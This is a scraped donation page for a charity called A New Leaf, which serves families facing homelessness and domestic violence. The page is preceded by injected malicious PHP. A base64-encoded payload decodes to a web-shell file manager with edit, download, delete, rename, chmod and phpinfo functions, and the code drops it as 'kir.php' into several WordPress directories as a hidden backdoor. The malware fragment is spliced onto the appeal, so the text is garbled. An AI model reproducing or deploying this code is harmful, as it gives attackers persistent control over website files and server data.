AgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPHRoPlR5cGU8L3RoPjx0aD5OYW1lPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5TaXplPC90aD48dGggY29sc3Bhbj0iNSI+QWN0aW9uczwvdGg+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3RoZWFkPg0KICAgICAgICA8dGJvZHk+DQogICAgICAgIDw/cGhwDQogICAgICAgICRmaWxlcyA9IHNjYW5kaXIoJGRpcik7DQogICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgew0KICAgICAgICAgICAgaWYgKCRmID09PSAnLicgfHwgJGYgPT09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgJHBhdGggPSAkZGlyIC4gJy8nIC4gJGY7DQogICAgICAgICAgICAkaXNEaXIgPSBpc19kaXIoJHBhdGgpOw0KICAgICAgICAgICAgJGljb24gPSAkaXNEaXIgPyAi8J+TgSIgOiAi8J+ThCI7DQogICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGgpKSwgLTQpOw0KICAgICAgICAgICAgJHNpemUgPSAkaXNEaXIgPyAnLScgOiByb3VuZChmaWxlc2l6ZSgkcGF0aCkvMTAyNCwgMikgLiAnIEtCJzsNCiAgICAgICAgICAgID8+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPHRkPjw/cGhwIGVjaG8gJGljb247ID8+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNEaXIpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08P3BocCBlY2hvIHVybGVuY29kZSgkcGF0aCk7ID8+IiBjbGFzcz0iZGlyLWxpbmsiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZik7ID8+PC9hPi8NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZik7ID8+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7IGZvbnQtc2l6ZToxMXB4Ij48P3BocCBlY2hvICRwZXJtczsgPz48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iZm9udC1zaXplOjEycHgiPjw/cGhwIGVjaG8gJHNpemU7ID8+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImFjdGlvbnMiPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc0Rpcik6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkcGF0aCk7ID8+JmRpcj08P3BocCBlY2hvIHVybGVuY29kZSgkZGlyKTsgPz4iPuKcj++4jyBFZGl0PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rvd25sb2FkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRwYXRoKTsgPz4iPuKsh++4jyBEb3dubG9hZDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij92aWV3PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRwYXRoKTsgPz4mZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkaXIpOyA/PiI+8J+Rge+4jyBWaWV3PC9hPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iR0VUIiBzdHlsZT0iZGlzcGxheTppbmxpbmUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVuYW1lIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRwYXRoKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkaXIpOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3bmFtZSIgcGxhY2Vob2xkZXI9Im5ldyBuYW1lIiBzaXplPSIxMCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+UmVuYW1lPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kZWxldGU9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhdGgpOyA/PiZkaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJGRpcik7ID8+IiANCiAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImRlbGV0ZS1idG4iIA0KICAgICAgICAgICAgICAgICAgICAgICBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgn4pqg77iPIERlbGV0ZSA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGYpOyA/PiBwZXJtYW5lbnRseT8nKSI+8J+Xke+4jyBEZWxldGU8L2E+DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCIgc3R5bGU9ImRpc3BsYXk6aW5saW5lIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNobW9kIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRwYXRoKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkaXIpOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGVybXMiIHBsYWNlaG9sZGVyPSIwNzU1IiBzaXplPSI1Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5DaG1vZDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8P3BocA0KICAgICAgICB9DQogICAgICAgID8+DQogICAgICAgIDwvdGJvZHk+DQogICAgPC90YWJsZT4NCiAgICANCiAgICA8IS0tIFBIUCBJbmZvIExpbmsgLS0+DQogICAgPGhyPg0KICAgIDxhIGhyZWY9Ij9waHBpbmZvPTEiIHRhcmdldD0iX2JsYW5rIj7wn5SnIFN5c3RlbSBJbmZvcm1hdGlvbiAocGhwaW5mbyk8L2E+DQogICAgPD9waHAgaWYgKGlzc2V0KCRfR0VUWydwaHBpbmZvJ10pKSBwaHBpbmZvKCk7ID8+DQo8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4='); @file_put_contents(ABSPATH . 'kir.php', $k); @file_put_contents(WP_PLUGIN_DIR . '/kir.php', $k); @file_put_contents(WP_CONTENT_DIR . '/uploads/kir.php', $k); @file_put_contents(ABSPATH . WPINC . '/kir.php', $k); } Donate To A New Leaf | End Homelessness & Domestic Violence

Donate today to help your neighbors in crisis

your kindness will provide life-changing support to families experiencing homelessness, domestic violence, and other challenges

ANL logo standard

your donation will provide shelter, food, and safety to those most in need

You are moments away from changing a life in your community. Your help is urgently needed to provide shelter to families facing homelessness, and safety to survivors of domestic violence. Our neighbors across the Valley are in need of your kindness.

Every day, there are families left without a safe place to call home, and survivors taking the first steps towards leaving an abusive situation. With your donation today, you are directly providing:

– Safe shelter for families experiencing homelessness –

– Food boxes for families struggling to put food on the table –

– Safety and legal support for survivors of domestic violence –

– Counseling for veterans recovering from homelessness –

Would you believe that only 5% of people visiting this page will make even a small donation to support this belief? Will you be one of those remarkable individuals?

Make a gift today if you believe that communities are made stronger when families are safe and have a secure home. 

donate now to help families and children in crisis!

Your donation will change lives in your local community!

other ways to give

For more information and to learn more about other ways to give, please visit our Other Ways to Give page. Be sure to consult your legal or financial advisor to determine which type of gift planning strategy would best meet your needs.